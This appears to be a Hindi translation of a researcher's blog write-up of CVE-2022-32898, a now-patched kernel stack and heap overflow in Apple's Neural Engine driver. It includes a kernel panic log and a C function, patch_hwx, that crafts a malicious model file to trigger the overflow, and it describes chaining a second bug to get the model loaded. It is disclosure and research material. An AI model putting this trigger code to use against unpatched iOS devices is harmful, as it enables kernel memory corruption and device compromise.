
CVE-2022-32898 का तकनीकी विश्लेषण और शोषण प्रदर्शन, Apple Neural Engine ड्राइवर में एक कर्नेल मेमोरी भ्रष्टाचार भेद्यता, जिसमें iOS कर्नेल के लिए विस्तृत रिवर्स इंजीनियरिंग और शोषण तकनीकें शामिल हैं।
नवंबर 23, 2022 • मोहम्मद घन्नाम (@_simo36)
मैं दो अन्य iOS कर्नेल कमजोरियाँ साझा कर रहा हूँ जो डिफ़ॉल्ट ऐप सैंडबॉक्स से पहुँच योग्य हैं और जिनके लिए UserClient खोलने की आवश्यकता नहीं है:

+16 कर्नेल बग जो मैंने Apple को रिपोर्ट किए थे, iOS 16/16.1 में ठीक कर दिए गए हैं। मैं अगले महीने #POC2022 में एक वार्ता दूँगा कि कैसे मैंने कुछ बगों को जोड़कर कर्नेल r/w प्राप्त किया, और iOS 15 के लिए कर्नेल एक्सप्लॉइट सम्मेलन के बाद कुछ अन्य उच्च प्रभाव वाली कमजोरियों के साथ जारी किया जाएगा।
अब तक मेरी पसंदीदा IDA 8.0 विशेषता: कृत्रिम Obj-C विधि आयात

iOS 15.5 बीटा 3 में, Apple ने IOSharedDataQueue/IODataQueue::initWithCapacity() से IOMallocAligned(KHEAP_DEFAULT,...) हटा दिया (अब KMA_DATA फ्लैग के साथ kernel_memory_allocate() का उपयोग करता है)। यह कर्नेल डिफ़ॉल्ट हीप को उपयोगकर्ता नियंत्रित डेटा से ग्रूम करने की एक सुंदर तकनीक थी। RIP

Apple Neural Engine के कर्नेल स्तर पर मॉडल लोड करने की प्रक्रिया को रिवर्स-इंजीनियर करते हुए, मैंने H11ANEIn::ANE_ProgramCreate_gated() में न्यूरल नेटवर्क फीचर्स को प्रोसेस करने वाले कोड में दो दिलचस्प मेमोरी भ्रष्टाचार कमजोरियाँ पहचानीं। मेरी राय में, इस प्रकार की कमजोरियाँ कर्नेल ड्राइवर को मैन्युअल रूप से ऑडिट करते समय ढूँढना आसान है, लेकिन फ़ज़र्स से पकड़ना लगभग असंभव है जब तक कि आप कुछ अविश्वसनीय रूप से परिष्कृत न बनाएँ।
ZinComputeProgramGetNamesFromMultiPlaneLinear() और ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() फ़ंक्शन दोनों प्रक्रिया इनपुट और आउटपुट को पार्स करने के लिए जिम्मेदार हैं, या अधिक सटीक रूप से, LC_THREAD कमांड को थ्रेड फ्लेवर 2 (ane_bind_state) के साथ, जिसकी binding_type_info का मान 4 और 5 है।
जहाँ तक मैं बता सकता हूँ, binding_type_info = 4 का अर्थ है कि किसी प्रक्रिया के इनपुट में एक से अधिक प्लेन हैं, और binding_type_info = 5 का अर्थ है कि इनपुट में न केवल एक से अधिक प्लेन हैं बल्कि वह संपीड़ित भी है।
उदाहरण के लिए, ZinComputeProgramGetNamesFromMultiPlaneLinear() फ़ंक्शन 5 आर्गुमेंट लेता है: एक लोड कमांड पॉइंटर, एक थ्रेड बाइंडिंग पॉइंटर, और तीन अतिरिक्त आउटपुट आर्गुमेंट। अंतिम आउटपुट आर्गुमेंट planes एक ऐरे है जो प्लेन या कर्नेल पॉइंटर्स को धारण करेगा, जिनकी सामग्री उपयोगकर्ता द्वारा नियंत्रित होती है, और अंतिम आर्गुमेंट planeCount इंगित करेगा कि model.hwx फ़ाइल से planes में कितने प्लेन (या कर्नेल पॉइंटर्स) कॉपी किए गए। निम्नलिखित फ़ंक्शन परिभाषा है:

एक मॉडल द्वारा आपूर्ति किए जा सकने वाले प्लेन की संख्या के सत्यापन की कमी के कारण, कर्नेल पॉइंटर्स planes ऐरे की सीमा के बाहर लिखे जा सकते हैं, जिससे कई दिलचस्प मेमोरी भ्रष्टाचार परिदृश्य हो सकते हैं।
planes ऐरे H11ANEIn::ANE_ProgramCreate_gated() में स्थित एक स्टैक वेरिएबल है, और इस वेरिएबल (जो 4 तत्वों तक कई प्लेन रखने वाला होना चाहिए) को 4 से अधिक प्लेन से ओवरफ़्लो करके, अन्य स्टैक वेरिएबल भी दूषित हो सकते हैं, जिससे टाइप-कन्फ़्यूज़न जैसी अन्य समस्याएँ हो सकती हैं क्योंकि ओवरराइट करने वाले कर्नेल पॉइंटर्स पूरी तरह से उपयोगकर्ता के नियंत्रण में होते हैं।
स्पष्ट रूप से, बहुत अधिक प्रविष्टियों के साथ planes ऐरे को ओवरफ़्लो करने से स्टैक कुकी और पुराने स्टैक फ्रेम पॉइंटर भी ओवरराइट होने की संभावना है, जिसके परिणामस्वरूप कर्नेल पैनिक होगा। सौभाग्य से, प्लेन की कुल संख्या दिए गए मॉडल के पूर्ण नियंत्रण में है, इसलिए हम स्टैक के उन संवेदनशील क्षेत्रों को प्रभावित किए बिना कई स्टैक वेरिएबल को दूषित कर सकते हैं।
एक और दिलचस्प परिदृश्य, और जैसा कि नीचे चित्र में दिखाया गया है, दो हीप ऑब्जेक्ट्स को ओवरफ़्लो करना संभव है: H11ANEProgramBindingInfo (लाइन 528 पर) और H11ANEProgramCreateArgsStructOutput (लाइन 533 पर)।

struct H11ANEProgramBindingInfo
{
struct {
uint32_t field_0;
char names[8][512];
uint32_t field_1004;
char *procedure_name;
} inputs[255], outputs[255];
};
H11ANEProgramCreateArgsStructOutput की संरचना परिभाषा ऊपर दिखाई गई है, और इसे दूषित करने से निम्नलिखित क्रैश हो सकते हैं:
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
x0: 0x1122334411223344 x1: 0xfffffe3000ecff20 x2: 0x0000000000000040 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x00000000000000e8 x7: 0x0000000000000830
x8: 0xfffffe608949c000 x9: 0xfffffe24cec0d1b0 x10: 0xfffffe24cd7d4010 x11: 0xfffffe1667fa93e0
x12: 0x0000000000000001 x13: 0x0000000000000858 x14: 0xfffffe3000ed0760 x15: 0x00292a20736d6172
x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860 x22: 0xfffffe299a621a00 x23: 0xfffffe2999c72208
x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1 x26: 0xfffffe608949c000 x27: 0xfffffe60895a2054
x28: 0xfffffe6089dcb850 fp: 0xfffffe6089dcacd0 lr: 0x03effe0011b1b47c sp: 0xfffffe6089dcacd0
pc: 0xfffffe0010a8a48c cpsr: 0x00401208 esr: 0x96000004 far: 0x1122334411223344
इन कमजोरियों को दिलचस्प बनाने वाली बात यह है कि इसके लिए कर्नेल से सीधे संपर्क करने की आवश्यकता नहीं है, दूसरे शब्दों में, UserClient कनेक्शन खोलने की आवश्यकता नहीं है, आपको बस एक दुर्भावनापूर्ण मॉडल संकलित (या तैयार) करना होगा और aned को इसे आपकी ओर से लोड करने देना होगा।
जैसा कि आप जानते हैं, aned के माध्यम से कोई भी मॉडल लोड करने के लिए, मॉडल को ANECompilerService सिस्टम सेवा द्वारा संकलित किया जाना चाहिए या Apple द्वारा हस्ताक्षरित होना चाहिए। दूसरे शब्दों में, ऐप को aned को एक .mlmodelc निर्देशिका प्रदान करनी होगी, जो तब ANECompilerService से इसे Espresso और ANECompiler नामक दो फ्रेमवर्क का उपयोग करके model.hwx में संकलित करने का अनुरोध करेगा। यदि आप नहीं जानते कि मैं किस बारे में बात कर रहा हूँ, तो आपका स्वागत है #POC2022 स्लाइड्स यहाँ देखने के लिए, जहाँ मैंने aned के काम करने का एक बुनियादी अवलोकन दिया था। इसके अलावा, आप संकलन प्रक्रिया के बारे में अधिक विवरण विश वू के उत्कृष्ट BlackHat वार्ता में प्राप्त कर सकते हैं, जो ANE पर उनके शोध के साथ-साथ उनका शानदार उपकरण है जो ANECompilerService द्वारा किए जाने वाले कार्यों का सटीक अनुकरण करता है।
हमारे मामले में, हमें एक model.hwx चाहिए जिसमें एक प्रक्रिया हो जिसका इनपुट (या आउटपुट) कई प्लेन का समर्थन करता हो। दुर्भाग्य से, mlmodel, mlmodelc या mlpackage प्रारूप में ऐसा कोई मॉडल उपलब्ध नहीं है, और Apple द्वारा hwx प्रारूप में केवल कुछ ही मॉडल प्रदान किए गए हैं। इन hwx मॉडलों का निरीक्षण करने पर पता चला कि वे कुछ अजीब/अप्रलेखित न्यूरल नेटवर्क संक्रियाओं का उपयोग कर रहे हैं जो ओपन सोर्स coremltools लाइब्रेरी कोड बेस में मौजूद नहीं हैं, यह संकेत देते हुए कि ये नेटवर्क लेयरें संभवतः केवल आंतरिक उपयोग के लिए हैं। हालाँकि, इन संक्रियाओं का कार्यान्वयन Espresso फ्रेमवर्क द्वारा परिभाषित किया गया है, और यह समझने के लिए कुछ रिवर्सिंग की आवश्यकता है कि वे किन इनपुट और आउटपुट का समर्थन करते हैं और उन्हें न्यूरल नेटवर्क के भीतर एक लेयर के रूप में ठीक से कैसे उपयोग किया जाए। चूँकि फ्रेमवर्क C++ और STL में लिखा गया है, मुझे इस संक्रिया को रिवर्स करने में कोई दिलचस्पी नहीं थी क्योंकि इसमें हमेशा लग सकता था।
यह मुख्य कारण था जिसके कारण मैंने CVE-2022-32845 की खोज की, जिसने न केवल मुझे इस डरावने फ्रेमवर्क को रिवर्स करने से बचाया, बल्कि मुझे उन्नत मशीन लर्निंग विषयों का अध्ययन करने में सैकड़ों घंटे भी बचाए।
इसलिए मैंने एक सरल model.hwx लिया और उसके एक LC_THREAD कमांड को पैच किया ताकि ane_bind_state में वांछित परिणाम दोहराया जा सके, और फिर CVE-2022-32845 का शोषण किया ताकि aned को इसे लोड करने के लिए धोखा दिया जा सके जैसे कि यह Apple द्वारा हस्ताक्षरित हो; और यह Apple को कमजोरी प्रदर्शित करने के लिए पर्याप्त था।
वह फ़ंक्शन जो मॉडल को पैच करता है, नीचे दिखाया गया है, और यदि आप स्वयं कमजोरी को ट्रिगर करना चाहते हैं तो आप मेरे weightBufs कर्नेल एक्सप्लॉइट से कुछ कोड उधार ले सकते हैं।
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
dbg("[-] Bad Mach-O file \n");
return ;
}
struct load_command *lc = NULL;
FOR_EACH_COMMAND {
if (lc->cmd != LC_THREAD)
continue;
dbg("LC_THREAD command found \n");
compute_thread_command *thread = (compute_thread_command *)lc;
u32 name_off = 0;
switch (thread->flavor) {
case THREAD_BINDING: {
name_off = *(uint32_t*)((char*)thread + 0x18);
dbg("Binding Name \n");
compute_thread_binding * bd =
(compute_thread_binding *)&thread->thread_states;
bd->binding_typeinfo = 4;
bd->field4 = 1;
u32 plane_count = 0x30;
char *buf_start = (char*)lc + 0x20;
*(u32 *) buf_start = 0;
*(u32 *) (buf_start + 0x10) = plane_count;
char *_ptr = buf_start + 0x6C;
int i = 0;
uint64_t off = 0;
do {
if(off == 0)
off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
*(unsigned int *)_ptr = mh_size;
u64 *pp = (u64 *)&_ptr[4];
for(int k = 0; k < 4;k++)
pp[k] = 0x1122334411223344;
_ptr += 0x68;
}while (i++ < plane_count);
patched = true;
return;
}
case THREAD_PROCEDURE_OPERATION:
case THREAD_PROCEDURE:
default:
break;
}
dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);
}
}
Apple ने iOS 16 में दोनों कमजोर फ़ंक्शनों में कुछ सत्यापन जाँच शुरू करके समस्या का समाधान किया, जो आपूर्ति किए गए प्लेन काउंट को चार प्रविष्टियों तक सीमित करता है, जैसा कि नीचे दिखाया गया है:

अभी के लिए इतना ही, फिर मिलते हैं!